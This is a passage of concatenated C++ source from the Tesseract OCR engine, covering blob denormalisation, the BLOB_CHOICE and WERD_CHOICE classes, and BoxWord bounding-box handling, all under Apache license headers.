FCOORD src_pt(pt.x, pt.y);
FCOORD float_result;
DenormTransform(last_denorm, src_pt, &float_result);
original->x = IntCastRounded(float_result.x());
original->y = IntCastRounded(float_result.y());
}
void DENORM::DenormTransform(const DENORM* last_denorm, const FCOORD& pt,
FCOORD* original) const {
LocalDenormTransform(pt, original);
if (last_denorm != this) {
if (predecessor_ != NULL) {
predecessor_->DenormTransform(last_denorm, *original, original);
} else if (block_ != NULL) {
original->rotate(block_->re_rotation());
}
}
}
// Normalize a blob using blob transformations. Less accurate, but
// more accurately copies the old way.
void DENORM::LocalNormBlob(TBLOB* blob) const {
TBOX blob_box = blob->bounding_box();
ICOORD translation(-IntCastRounded(x_origin_), -IntCastRounded(y_origin_));
blob->Move(translation);
if (y_scale_ != 1.0f)
blob->Scale(y_scale_);
if (rotation_ != NULL)
blob->Rotate(*rotation_);
translation.set_x(IntCastRounded(final_xshift_));
translation.set_y(IntCastRounded(final_yshift_));
blob->Move(translation);
}
// Fills in the x-height range accepted by the given unichar_id, given its
// bounding box in the usual baseline-normalized coordinates, with some
// initial crude x-height estimate (such as word size) and this denoting the
// transformation that was used.
void DENORM::XHeightRange(int unichar_id, const UNICHARSET& unicharset,
const TBOX& bbox,
float* min_xht, float* max_xht, float* yshift) const {
// Default return -- accept anything.
*yshift = 0.0f;
*min_xht = 0.0f;
*max_xht = MAX_FLOAT32;
if (!unicharset.top_bottom_useful())
return;
// Clip the top and bottom to the limit of normalized feature space.
int top = ClipToRange<int>(bbox.top(), 0, kBlnCellHeight - 1);
int bottom = ClipToRange<int>(bbox.bottom(), 0, kBlnCellHeight - 1);
// A tolerance of yscale corresponds to 1 pixel in the image.
double tolerance = y_scale();
// If the script doesn't have upper and lower-case characters, widen the
// tolerance to allow sloppy baseline/x-height estimates.
if (!unicharset.script_has_upper_lower())
tolerance = y_scale() * kSloppyTolerance;
int min_bottom, max_bottom, min_top, max_top;
unicharset.get_top_bottom(unichar_id, &min_bottom, &max_bottom,
&min_top, &max_top);
// Calculate the scale factor we'll use to get to image y-pixels
double midx = (bbox.left() + bbox.right()) / 2.0;
double ydiff = (bbox.top() - bbox.bottom()) + 2.0;
FCOORD mid_bot(midx, bbox.bottom()), tmid_bot;
FCOORD mid_high(midx, bbox.bottom() + ydiff), tmid_high;
DenormTransform(NULL, mid_bot, &tmid_bot);
DenormTransform(NULL, mid_high, &tmid_high);
// bln_y_measure * yscale = image_y_measure
double yscale = tmid_high.pt_to_pt_dist(tmid_bot) / ydiff;
// Calculate y-shift
int bln_yshift = 0, bottom_shift = 0, top_shift = 0;
if (bottom < min_bottom - tolerance) {
bottom_shift = bottom - min_bottom;
} else if (bottom > max_bottom + tolerance) {
bottom_shift = bottom - max_bottom;
}
if (top < min_top - tolerance) {
top_shift = top - min_top;
} else if (top > max_top + tolerance) {
top_shift = top - max_top;
}
if ((top_shift >= 0 && bottom_shift > 0) ||
(top_shift < 0 && bottom_shift < 0)) {
bln_yshift = (top_shift + bottom_shift) / 2;
}
*yshift = bln_yshift * yscale;
// To help very high cap/xheight ratio fonts accept the correct x-height,
// and to allow the large caps in small caps to accept the xheight of the
// small caps, add kBlnBaselineOffset to chars with a maximum max, and have
// a top already at a significantly high position.
if (max_top == kBlnCellHeight - 1 &&
top > kBlnCellHeight - kBlnBaselineOffset / 2)
max_top += kBlnBaselineOffset;
top -= bln_yshift;
int height = top - kBlnBaselineOffset - bottom_shift;
double min_height = min_top - kBlnBaselineOffset - tolerance;
double max_height = max_top - kBlnBaselineOffset + tolerance;
// We shouldn't try calculations if the characters are very short (for example
// for punctuation).
if (min_height > kBlnXHeight / 8 && height > 0) {
float result = height * kBlnXHeight * yscale / min_height;
*max_xht = result + kFinalPixelTolerance;
result = height * kBlnXHeight * yscale / max_height;
*min_xht = result - kFinalPixelTolerance;
}
}
// Prints the content of the DENORM for debug purposes.
void DENORM::Print() const {
if (pix_ != NULL) {
tprintf("Pix dimensions %d x %d x %d\n",
pixGetWidth(pix_), pixGetHeight(pix_), pixGetDepth(pix_));
}
if (inverse_)
tprintf("Inverse\n");
if (block_ && block_->re_rotation().x() != 1.0f) {
tprintf("Block rotation %g, %g\n",
block_->re_rotation().x(), block_->re_rotation().y());
}
tprintf("Input Origin = (%g, %g)\n", x_origin_, y_origin_);
if (x_map_ != NULL && y_map_ != NULL) {
tprintf("x map:\n");
for (int x = 0; x < x_map_->size(); ++x) {
tprintf("%g ", (*x_map_)[x]);
}
tprintf("\ny map:\n");
for (int y = 0; y < y_map_->size(); ++y) {
tprintf("%g ", (*y_map_)[y]);
}
tprintf("\n");
} else {
tprintf("Scale = (%g, %g)\n", x_scale_, y_scale_);
if (rotation_ != NULL)
tprintf("Rotation = (%g, %g)\n", rotation_->x(), rotation_->y());
}
tprintf("Final Origin = (%g, %g)\n", final_xshift_, final_xshift_);
if (predecessor_ != NULL) {
tprintf("Predecessor:\n");
predecessor_->Print();
}
}
// ============== Private Code ======================
// Free allocated memory and clear pointers.
void DENORM::Clear() {
if (x_map_ != NULL) {
delete x_map_;
x_map_ = NULL;
}
if (y_map_ != NULL) {
delete y_map_;
y_map_ = NULL;
}
if (rotation_ != NULL) {
delete rotation_;
rotation_ = NULL;
}
}
// Setup default values.
void DENORM::Init() {
inverse_ = false;
pix_ = NULL;
block_ = NULL;
rotation_ = NULL;
predecessor_ = NULL;
x_map_ = NULL;
y_map_ = NULL;
x_origin_ = 0.0f;
y_origin_ = 0.0f;
x_scale_ = 1.0f;
y_scale_ = 1.0f;
final_xshift_ = 0.0f;
final_yshift_ = static_cast<float>(kBlnBaselineOffset);
}
| C++ |
/**********************************************************************
* File: ratngs.h (Formerly ratings.h)
* Description: Definition of the WERD_CHOICE and BLOB_CHOICE classes.
* Author: Ray Smith
* Created: Thu Apr 23 11:40:38 BST 1992
*
* (C) Copyright 1992, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#ifndef RATNGS_H
#define RATNGS_H
#include <assert.h>
#include "clst.h"
#include "elst.h"
#include "genericvector.h"
#include "matrix.h"
#include "unichar.h"
#include "unicharset.h"
#include "werd.h"
class MATRIX;
struct TBLOB;
struct TWERD;
// Enum to describe the source of a BLOB_CHOICE to make it possible to determine
// whether a blob has been classified by inspecting the BLOB_CHOICEs.
enum BlobChoiceClassifier {
BCC_STATIC_CLASSIFIER, // From the char_norm classifier.
BCC_ADAPTED_CLASSIFIER, // From the adaptive classifier.
BCC_SPECKLE_CLASSIFIER, // Backup for failed classification.
BCC_AMBIG, // Generated by ambiguity detection.
BCC_FAKE, // From some other process.
};
class BLOB_CHOICE: public ELIST_LINK
{
public:
BLOB_CHOICE() {
unichar_id_ = UNICHAR_SPACE;
fontinfo_id_ = -1;
fontinfo_id2_ = -1;
rating_ = 10.0;
certainty_ = -1.0;
script_id_ = -1;
xgap_before_ = 0;
xgap_after_ = 0;
min_xheight_ = 0.0f;
max_xheight_ = 0.0f;
yshift_ = 0.0f;
classifier_ = BCC_FAKE;
}
BLOB_CHOICE(UNICHAR_ID src_unichar_id, // character id
float src_rating, // rating
float src_cert, // certainty
inT16 src_fontinfo_id, // font
inT16 src_fontinfo_id2, // 2nd choice font
int script_id, // script
float min_xheight, // min xheight in image pixel units
float max_xheight, // max xheight allowed by this char
float yshift, // the larger of y shift (top or bottom)
BlobChoiceClassifier c); // adapted match or other
BLOB_CHOICE(const BLOB_CHOICE &other);
~BLOB_CHOICE() {}
UNICHAR_ID unichar_id() const {
return unichar_id_;
}
float rating() const {
return rating_;
}
float certainty() const {
return certainty_;
}
inT16 fontinfo_id() const {
return fontinfo_id_;
}
inT16 fontinfo_id2() const {
return fontinfo_id2_;
}
int script_id() const {
return script_id_;
}
const MATRIX_COORD& matrix_cell() {
return matrix_cell_;
}
inT16 xgap_before() const {
return xgap_before_;
}
inT16 xgap_after() const {
return xgap_after_;
}
float min_xheight() const {
return min_xheight_;
}
float max_xheight() const {
return max_xheight_;
}
float yshift() const {
return yshift_;
}
BlobChoiceClassifier classifier() const {
return classifier_;
}
bool IsAdapted() const {
return classifier_ == BCC_ADAPTED_CLASSIFIER;
}
bool IsClassified() const {
return classifier_ == BCC_STATIC_CLASSIFIER ||
classifier_ == BCC_ADAPTED_CLASSIFIER ||
classifier_ == BCC_SPECKLE_CLASSIFIER;
}
void set_unichar_id(UNICHAR_ID newunichar_id) {
unichar_id_ = newunichar_id;
}
void set_rating(float newrat) {
rating_ = newrat;
}
void set_certainty(float newrat) {
certainty_ = newrat;
}
void set_fontinfo_id(inT16 newfont) {
fontinfo_id_ = newfont;
}
void set_fontinfo_id2(inT16 newfont) {
fontinfo_id2_ = newfont;
}
void set_script(int newscript_id) {
script_id_ = newscript_id;
}
void set_matrix_cell(int col, int row) {
matrix_cell_.col = col;
matrix_cell_.row = row;
}
void set_xgap_before(inT16 gap) {
xgap_before_ = gap;
}
void set_xgap_after(inT16 gap) {
xgap_after_ = gap;
}
void set_classifier(BlobChoiceClassifier classifier) {
classifier_ = classifier;
}
static BLOB_CHOICE* deep_copy(const BLOB_CHOICE* src) {
BLOB_CHOICE* choice = new BLOB_CHOICE;
*choice = *src;
return choice;
}
// Returns true if *this and other agree on the baseline and x-height
// to within some tolerance based on a given estimate of the x-height.
bool PosAndSizeAgree(const BLOB_CHOICE& other, float x_height,
bool debug) const;
void print(const UNICHARSET *unicharset) const {
tprintf("r%.2f c%.2f x[%g,%g]: %d %s",
rating_, certainty_,
min_xheight_, max_xheight_, unichar_id_,
(unicharset == NULL) ? "" :
unicharset->debug_str(unichar_id_).string());
}
void print_full() const {
print(NULL);
tprintf(" script=%d, font1=%d, font2=%d, yshift=%g, classifier=%d\n",
script_id_, fontinfo_id_, fontinfo_id2_, yshift_, classifier_);
}
// Sort function for sorting BLOB_CHOICEs in increasing order of rating.
static int SortByRating(const void *p1, const void *p2) {
const BLOB_CHOICE *bc1 =
*reinterpret_cast<const BLOB_CHOICE * const *>(p1);
const BLOB_CHOICE *bc2 =
*reinterpret_cast<const BLOB_CHOICE * const *>(p2);
return (bc1->rating_ < bc2->rating_) ? -1 : 1;
}
private:
UNICHAR_ID unichar_id_; // unichar id
inT16 fontinfo_id_; // char font information
inT16 fontinfo_id2_; // 2nd choice font information
// Rating is the classifier distance weighted by the length of the outline
// in the blob. In terms of probability, classifier distance is -klog p such
// that the resulting distance is in the range [0, 1] and then
// rating = w (-k log p) where w is the weight for the length of the outline.
// Sums of ratings may be compared meaningfully for words of different
// segmentation.
float rating_; // size related
// Certainty is a number in [-20, 0] indicating the classifier certainty
// of the choice. In terms of probability, certainty = 20 (k log p) where
// k is defined as above to normalize -klog p to the range [0, 1].
float certainty_; // absolute
int script_id_;
// Holds the position of this choice in the ratings matrix.
// Used to location position in the matrix during path backtracking.
MATRIX_COORD matrix_cell_;
inT16 xgap_before_;
inT16 xgap_after_;
// X-height range (in image pixels) that this classification supports.
float min_xheight_;
float max_xheight_;
// yshift_ - The vertical distance (in image pixels) the character is
// shifted (up or down) from an acceptable y position.
float yshift_;
BlobChoiceClassifier classifier_; // What generated *this.
};
// Make BLOB_CHOICE listable.
ELISTIZEH(BLOB_CHOICE)
// Return the BLOB_CHOICE in bc_list matching a given unichar_id,
// or NULL if there is no match.
BLOB_CHOICE *FindMatchingChoice(UNICHAR_ID char_id, BLOB_CHOICE_LIST *bc_list);
// Permuter codes used in WERD_CHOICEs.
enum PermuterType {
NO_PERM, // 0
PUNC_PERM, // 1
TOP_CHOICE_PERM, // 2
LOWER_CASE_PERM, // 3
UPPER_CASE_PERM, // 4
NGRAM_PERM, // 5
NUMBER_PERM, // 6
USER_PATTERN_PERM, // 7
SYSTEM_DAWG_PERM, // 8
DOC_DAWG_PERM, // 9
USER_DAWG_PERM, // 10
FREQ_DAWG_PERM, // 11
COMPOUND_PERM, // 12
NUM_PERMUTER_TYPES
};
namespace tesseract {
// ScriptPos tells whether a character is subscript, superscript or normal.
enum ScriptPos {
SP_NORMAL,
SP_SUBSCRIPT,
SP_SUPERSCRIPT,
SP_DROPCAP
};
const char *ScriptPosToString(tesseract::ScriptPos script_pos);
} // namespace tesseract.
class WERD_CHOICE : public ELIST_LINK {
public:
static const float kBadRating;
static const char *permuter_name(uinT8 permuter);
WERD_CHOICE(const UNICHARSET *unicharset)
: unicharset_(unicharset) { this->init(8); }
WERD_CHOICE(const UNICHARSET *unicharset, int reserved)
: unicharset_(unicharset) { this->init(reserved); }
WERD_CHOICE(const char *src_string,
const char *src_lengths,
float src_rating,
float src_certainty,
uinT8 src_permuter,
const UNICHARSET &unicharset)
: unicharset_(&unicharset) {
this->init(src_string, src_lengths, src_rating,
src_certainty, src_permuter);
}
WERD_CHOICE(const char *src_string, const UNICHARSET &unicharset);
WERD_CHOICE(const WERD_CHOICE &word) : unicharset_(word.unicharset_) {
this->init(word.length());
this->operator=(word);
}
~WERD_CHOICE();
const UNICHARSET *unicharset() const {
return unicharset_;
}
inline int length() const {
return length_;
}
float adjust_factor() const {
return adjust_factor_;
}
void set_adjust_factor(float factor) {
adjust_factor_ = factor;
}
inline const UNICHAR_ID *unichar_ids() const {
return unichar_ids_;
}
inline const UNICHAR_ID unichar_id(int index) const {
assert(index < length_);
return unichar_ids_[index];
}
inline int state(int index) const {
return state_[index];
}
tesseract::ScriptPos BlobPosition(int index) const {
if (index < 0 || index >= length_)
return tesseract::SP_NORMAL;
return script_pos_[index];
}
inline float rating() const {
return rating_;
}
inline float certainty() const {
return certainty_;
}
inline float certainty(int index) const {
return certainties_[index];
}
inline float min_x_height() const {
return min_x_height_;
}
inline float max_x_height() const {
return max_x_height_;
}
inline void set_x_heights(float min_height, float max_height) {
min_x_height_ = min_height;
max_x_height_ = max_height;
}
inline uinT8 permuter() const {
return permuter_;
}
const char *permuter_name() const;
// Returns the BLOB_CHOICE_LIST corresponding to the given index in the word,
// taken from the appropriate cell in the ratings MATRIX.
// Borrowed pointer, so do not delete.
BLOB_CHOICE_LIST* blob_choices(int index, MATRIX* ratings) const;
// Returns the MATRIX_COORD corresponding to the location in the ratings
// MATRIX for the given index into the word.
MATRIX_COORD MatrixCoord(int index) const;
inline void set_unichar_id(UNICHAR_ID unichar_id, int index) {
assert(index < length_);
unichar_ids_[index] = unichar_id;
}
bool dangerous_ambig_found() const {
return dangerous_ambig_found_;
}
void set_dangerous_ambig_found_(bool value) {
dangerous_ambig_found_ = value;
}
inline void set_rating(float new_val) {
rating_ = new_val;
}
inline void set_certainty(float new_val) {
certainty_ = new_val;
}
inline void set_permuter(uinT8 perm) {
permuter_ = perm;
}
// Note: this function should only be used if all the fields
// are populated manually with set_* functions (rather than
// (copy)constructors and append_* functions).
inline void set_length(int len) {
ASSERT_HOST(reserved_ >= len);
length_ = len;
}
/// Make more space in unichar_id_ and fragment_lengths_ arrays.
inline void double_the_size() {
if (reserved_ > 0) {
unichar_ids_ = GenericVector<UNICHAR_ID>::double_the_size_memcpy(
reserved_, unichar_ids_);
script_pos_ = GenericVector<tesseract::ScriptPos>::double_the_size_memcpy(
reserved_, script_pos_);
state_ = GenericVector<int>::double_the_size_memcpy(
reserved_, state_);
certainties_ = GenericVector<float>::double_the_size_memcpy(
reserved_, certainties_);
reserved_ *= 2;
} else {
unichar_ids_ = new UNICHAR_ID[1];
script_pos_ = new tesseract::ScriptPos[1];
state_ = new int[1];
certainties_ = new float[1];
reserved_ = 1;
}
}
/// Initializes WERD_CHOICE - reserves length slots in unichar_ids_ and
/// fragment_length_ arrays. Sets other values to default (blank) values.
inline void init(int reserved) {
reserved_ = reserved;
if (reserved > 0) {
unichar_ids_ = new UNICHAR_ID[reserved];
script_pos_ = new tesseract::ScriptPos[reserved];
state_ = new int[reserved];
certainties_ = new float[reserved];
} else {
unichar_ids_ = NULL;
script_pos_ = NULL;
state_ = NULL;
certainties_ = NULL;
}
length_ = 0;
adjust_factor_ = 1.0f;
rating_ = 0.0;
certainty_ = MAX_FLOAT32;
min_x_height_ = 0.0f;
max_x_height_ = MAX_FLOAT32;
permuter_ = NO_PERM;
unichars_in_script_order_ = false; // Tesseract is strict left-to-right.
dangerous_ambig_found_ = false;
}
/// Helper function to build a WERD_CHOICE from the given string,
/// fragment lengths, rating, certainty and permuter.
/// The function assumes that src_string is not NULL.
/// src_lengths argument could be NULL, in which case the unichars
/// in src_string are assumed to all be of length 1.
void init(const char *src_string, const char *src_lengths,
float src_rating, float src_certainty,
uinT8 src_permuter);
/// Set the fields in this choice to be default (bad) values.
inline void make_bad() {
length_ = 0;
rating_ = kBadRating;
certainty_ = -MAX_FLOAT32;
}
/// This function assumes that there is enough space reserved
/// in the WERD_CHOICE for adding another unichar.
/// This is an efficient alternative to append_unichar_id().
inline void append_unichar_id_space_allocated(
UNICHAR_ID unichar_id, int blob_count,
float rating, float certainty) {
assert(reserved_ > length_);
length_++;
this->set_unichar_id(unichar_id, blob_count,
rating, certainty, length_-1);
}
void append_unichar_id(UNICHAR_ID unichar_id, int blob_count,
float rating, float certainty);
inline void set_unichar_id(UNICHAR_ID unichar_id, int blob_count,
float rating, float certainty, int index) {
assert(index < length_);
unichar_ids_[index] = unichar_id;
state_[index] = blob_count;
certainties_[index] = certainty;
script_pos_[index] = tesseract::SP_NORMAL;
rating_ += rating;
if (certainty < certainty_) {
certainty_ = certainty;
}
}
// Sets the entries for the given index from the BLOB_CHOICE, assuming
// unit fragment lengths, but setting the state for this index to blob_count.
void set_blob_choice(int index, int blob_count,
const BLOB_CHOICE* blob_choice);
bool contains_unichar_id(UNICHAR_ID unichar_id) const;
void remove_unichar_ids(int index, int num);
inline void remove_last_unichar_id() { --length_; }
inline void remove_unichar_id(int index) {
this->remove_unichar_ids(index, 1);
}
bool has_rtl_unichar_id() const;
void reverse_and_mirror_unichar_ids();
// Returns the half-open interval of unichar_id indices [start, end) which
// enclose the core portion of this word -- the part after stripping
// punctuation from the left and right.
void punct_stripped(int *start_core, int *end_core) const;
// Returns the indices [start, end) containing the core of the word, stripped
// of any superscript digits on either side. (i.e., the non-footnote part
// of the word). There is no guarantee that the output range is non-empty.
void GetNonSuperscriptSpan(int *start, int *end) const;
// Return a copy of this WERD_CHOICE with the choices [start, end).
// The result is useful only for checking against a dictionary.
WERD_CHOICE shallow_copy(int start, int end) const;
void string_and_lengths(STRING *word_str, STRING *word_lengths_str) const;
const STRING debug_string() const {
STRING word_str;
for (int i = 0; i < length_; ++i) {
word_str += unicharset_->debug_str(unichar_ids_[i]);
word_str += " ";
}
return word_str;
}
// Call this to override the default (strict left to right graphemes)
// with the fact that some engine produces a "reading order" set of
// Graphemes for each word.
bool set_unichars_in_script_order(bool in_script_order) {
return unichars_in_script_order_ = in_script_order;
}
bool unichars_in_script_order() const {
return unichars_in_script_order_;
}
// Returns a UTF-8 string equivalent to the current choice
// of UNICHAR IDs.
const STRING &unichar_string() const {
this->string_and_lengths(&unichar_string_, &unichar_lengths_);
return unichar_string_;
}
// Returns the lengths, one byte each, representing the number of bytes
// required in the unichar_string for each UNICHAR_ID.
const STRING &unichar_lengths() const {
this->string_and_lengths(&unichar_string_, &unichar_lengths_);
return unichar_lengths_;
}
// Sets up the script_pos_ member using the blobs_list to get the bln
// bounding boxes, *this to get the unichars, and this->unicharset
// to get the target positions. If small_caps is true, sub/super are not
// considered, but dropcaps are.
// NOTE: blobs_list should be the chopped_word blobs. (Fully segemented.)
void SetScriptPositions(bool small_caps, TWERD* word);
// Sets the script_pos_ member from some source positions with a given length.
void SetScriptPositions(const tesseract::ScriptPos* positions, int length);
// Sets all the script_pos_ positions to the given position.
void SetAllScriptPositions(tesseract::ScriptPos position);
static tesseract::ScriptPos ScriptPositionOf(bool print_debug,
const UNICHARSET& unicharset,
const TBOX& blob_box,
UNICHAR_ID unichar_id);
// Returns the "dominant" script ID for the word. By "dominant", the script
// must account for at least half the characters. Otherwise, it returns 0.
// Note that for Japanese, Hiragana and Katakana are simply treated as Han.
int GetTopScriptID() const;
// Fixes the state_ for a chop at the given blob_posiiton.
void UpdateStateForSplit(int blob_position);
// Returns the sum of all the state elements, being the total number of blobs.
int TotalOfStates() const;
void print() const { this->print(""); }
void print(const char *msg) const;
// Prints the segmentation state with an introductory message.
void print_state(const char *msg) const;
// Displays the segmentation state of *this (if not the same as the last
// one displayed) and waits for a click in the window.
void DisplaySegmentation(TWERD* word);
WERD_CHOICE& operator+= ( // concatanate
const WERD_CHOICE & second);// second on first
WERD_CHOICE& operator= (const WERD_CHOICE& source);
private:
const UNICHARSET *unicharset_;
// TODO(rays) Perhaps replace the multiple arrays with an array of structs?
// unichar_ids_ is an array of classifier "results" that make up a word.
// For each unichar_ids_[i], script_pos_[i] has the sub/super/normal position
// of each unichar_id.
// state_[i] indicates the number of blobs in WERD_RES::chopped_word that
// were put together to make the classification results in the ith position
// in unichar_ids_, and certainties_[i] is the certainty of the choice that
// was used in this word.
// == Change from before ==
// Previously there was fragment_lengths_ that allowed a word to be
// artificially composed of multiple fragment results. Since the new
// segmentation search doesn't do fragments, treatment of fragments has
// been moved to a lower level, augmenting the ratings matrix with the
// combined fragments, and allowing the language-model/segmentation-search
// to deal with only the combined unichar_ids.
UNICHAR_ID *unichar_ids_; // unichar ids that represent the text of the word
tesseract::ScriptPos* script_pos_; // Normal/Sub/Superscript of each unichar.
int* state_; // Number of blobs in each unichar.
float* certainties_; // Certainty of each unichar.
int reserved_; // size of the above arrays
int length_; // word length
// Factor that was used to adjust the rating.
float adjust_factor_;
// Rating is the sum of the ratings of the individual blobs in the word.
float rating_; // size related
// certainty is the min (worst) certainty of the individual blobs in the word.
float certainty_; // absolute
// xheight computed from the result, or 0 if inconsistent.
float min_x_height_;
float max_x_height_;
uinT8 permuter_; // permuter code
// Normally, the ratings_ matrix represents the recognition results in order
// from left-to-right. However, some engines (say Cube) may return
// recognition results in the order of the script's major reading direction
// (for Arabic, that is right-to-left).
bool unichars_in_script_order_;
// True if NoDangerousAmbig found an ambiguity.
bool dangerous_ambig_found_;
// The following variables are populated and passed by reference any
// time unichar_string() or unichar_lengths() are called.
mutable STRING unichar_string_;
mutable STRING unichar_lengths_;
};
// Make WERD_CHOICE listable.
ELISTIZEH(WERD_CHOICE)
typedef GenericVector<BLOB_CHOICE_LIST *> BLOB_CHOICE_LIST_VECTOR;
// Utilities for comparing WERD_CHOICEs
bool EqualIgnoringCaseAndTerminalPunct(const WERD_CHOICE &word1,
const WERD_CHOICE &word2);
// Utilities for debug printing.
void print_ratings_list(
const char *msg, // intro message
BLOB_CHOICE_LIST *ratings, // list of results
const UNICHARSET ¤t_unicharset // unicharset that can be used
// for id-to-unichar conversion
);
#endif
| C++ |
///////////////////////////////////////////////////////////////////////
// File: boxword.h
// Description: Class to represent the bounding boxes of the output.
// Author: Ray Smith
// Created: Tue May 25 14:18:14 PDT 2010
//
// (C) Copyright 2010, Google Inc.
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
///////////////////////////////////////////////////////////////////////
#include "blobs.h"
#include "boxword.h"
#include "normalis.h"
#include "ocrblock.h"
#include "pageres.h"
namespace tesseract {
// Clip output boxes to input blob boxes for bounds that are within this
// tolerance. Otherwise, the blob may be chopped and we have to just use
// the word bounding box.
const int kBoxClipTolerance = 2;
BoxWord::BoxWord() : length_(0) {
}
BoxWord::BoxWord(const BoxWord& src) {
CopyFrom(src);
}
BoxWord::~BoxWord() {
}
BoxWord& BoxWord::operator=(const BoxWord& src) {
CopyFrom(src);
return *this;
}
void BoxWord::CopyFrom(const BoxWord& src) {
bbox_ = src.bbox_;
length_ = src.length_;
boxes_.clear();
boxes_.reserve(length_);
for (int i = 0; i < length_; ++i)
boxes_.push_back(src.boxes_[i]);
}
// Factory to build a BoxWord from a TWERD using the DENORMs on each blob to
// switch back to original image coordinates.
BoxWord* BoxWord::CopyFromNormalized(TWERD* tessword) {
BoxWord* boxword = new BoxWord();
// Count the blobs.
boxword->length_ = tessword->NumBlobs();
// Allocate memory.
boxword->boxes_.reserve(boxword->length_);
for (int b = 0; b < boxword->length_; ++b) {
TBLOB* tblob = tessword->blobs[b];
TBOX blob_box;
for (TESSLINE* outline = tblob->outlines; outline != NULL;
outline = outline->next) {
EDGEPT* edgept = outline->loop;
// Iterate over the edges.
do {
if (!edgept->IsHidden() || !edgept->prev->IsHidden()) {
ICOORD pos(edgept->pos.x, edgept->pos.y);
TPOINT denormed;
tblob->denorm().DenormTransform(NULL, edgept->pos, &denormed);
pos.set_x(denormed.x);
pos.set_y(denormed.y);
TBOX pt_box(pos, pos);
blob_box += pt_box;
}
edgept = edgept->next;
} while (edgept != outline->loop);
}
boxword->boxes_.push_back(blob_box);
}
boxword->ComputeBoundingBox();
return boxword;
}
// Clean up the bounding boxes from the polygonal approximation by
// expanding slightly, then clipping to the blobs from the original_word
// that overlap. If not null, the block provides the inverse rotation.
void BoxWord::ClipToOriginalWord(const BLOCK* block, WERD* original_word) {
for (int i = 0; i < length_; ++i) {
TBOX box = boxes_[i];
// Expand by a single pixel, as the poly approximation error is 1 pixel.
box = TBOX(box.left() - 1, box.bottom() - 1,
box.right() + 1, box.top() + 1);
// Now find the original box that matches.
TBOX original_box;
C_BLOB_IT b_it(original_word->cblob_list());
for (b_it.mark_cycle_pt(); !b_it.cycled_list(); b_it.forward()) {
TBOX blob_box = b_it.data()->bounding_box();
if (block != NULL)
blob_box.rotate(block->re_rotation());
if (blob_box.major_overlap(box)) {
original_box += blob_box;
}
}
if (!original_box.null_box()) {
if (NearlyEqual<int>(original_box.left(), box.left(), kBoxClipTolerance))
box.set_left(original_box.left());
if (NearlyEqual<int>(original_box.right(), box.right(),
kBoxClipTolerance))
box.set_right(original_box.right());
if (NearlyEqual<int>(original_box.top(), box.top(), kBoxClipTolerance))
box.set_top(original_box.top());
if (NearlyEqual<int>(original_box.bottom(), box.bottom(),
kBoxClipTolerance))
box.set_bottom(original_box.bottom());
}
original_box = original_word->bounding_box();
if (block != NULL)
original_box.rotate(block->re_rotation());
boxes_[i] = box.intersection(original_box);
}
ComputeBoundingBox();
}
// Merges the boxes from start to end, not including end, and deletes
// the boxes between start and end.
void BoxWord::MergeBoxes(int start, int end) {
start = ClipToRange(start, 0, length_);
end = ClipToRange(end, 0, length_);
if (end <= start + 1)
return;
for (int i = start + 1; i < end; ++i) {
boxes_[start] += boxes_[i];
}
int shrinkage = end - 1 - start;
length_ -= shrinkage;
for (int i = start + 1; i < length_; ++i)
boxes_[i] = boxes_[i + shrinkage];
boxes_.truncate(length_);
}
// Inserts a new box before the given index.
// Recomputes the bounding box.
void BoxWord::InsertBox(int index, const TBOX& box) {
if (index < length_)
boxes_.insert(box, index);
else
boxes_.push_back(box);
length_ = boxes_.size();
ComputeBoundingBox();
}
// Changes the box at the given index to the new box.
// Recomputes the bounding box.
void BoxWord::ChangeBox(int index, const TBOX& box) {
boxes_[index] = box;
ComputeBoundingBox();
}
// Deletes the box with the given index, and shuffles up the rest.
// Recomputes the bounding box.
void BoxWord::DeleteBox(int index) {
ASSERT_HOST(0 <= index && index < length_);
boxes_.remove(index);
--length_;
ComputeBoundingBox();
}
// Deletes all the boxes stored in BoxWord.
void BoxWord::DeleteAllBoxes() {
length_ = 0;
boxes_.clear();
bbox_ = TBOX();
}
// Computes the bounding box of the word.
void BoxWord::ComputeBoundingBox() {
bbox_ = TBOX();
for (int i = 0; i < length_; ++i)
bbox_ += boxes_[i];
}
// This and other putatively are the same, so call the (permanent) callback
// for each blob index where the bounding boxes match.
// The callback is deleted on completion.
void BoxWord::ProcessMatchedBlobs(const TWERD& other,
TessCallback1<int>* cb) const {
for (int i = 0; i < length_ && i < other.NumBlobs(); ++i) {
TBOX blob_box = other.blobs[i]->bounding_box();
if (blob_box == boxes_[i])
cb->Run(i);
}
delete cb;
}
} // namespace tesseract.
| C++ |
///////////////////////////////////////////////////////////////////////
// File: ccstruct.cpp
// Description: ccstruct class.
// Author: Samuel Charron
//
// (C) Copyright 2006, Google Inc.
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
///////////////////////////////////////////////////////////////////////
#include "ccstruct.h"
namespace tesseract {
// APPROXIMATIONS of the fractions of the character cell taken by
// the descenders, ascenders, and x-height.
const double CCStruct::kDescenderFraction = 0.25;
const double CCStruct::kXHeightFraction = 0.5;
const double CCStruct::kAscenderFraction = 0.25;
const double CCStruct::kXHeightCapRatio = CCStruct::kXHeightFraction /
(CCStruct::kXHeightFraction + CCStruct::kAscenderFraction);
CCStruct::CCStruct() {}
CCStruct::~CCStruct() {
}
}
| C++ |
/**********************************************************************
* File: genblob.cpp (Formerly gblob.c)
* Description: Generic Blob processing routines
* Author: Phil Cheatle
* Created: Mon Nov 25 10:53:26 GMT 1991
*
* (C) Copyright 1991, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
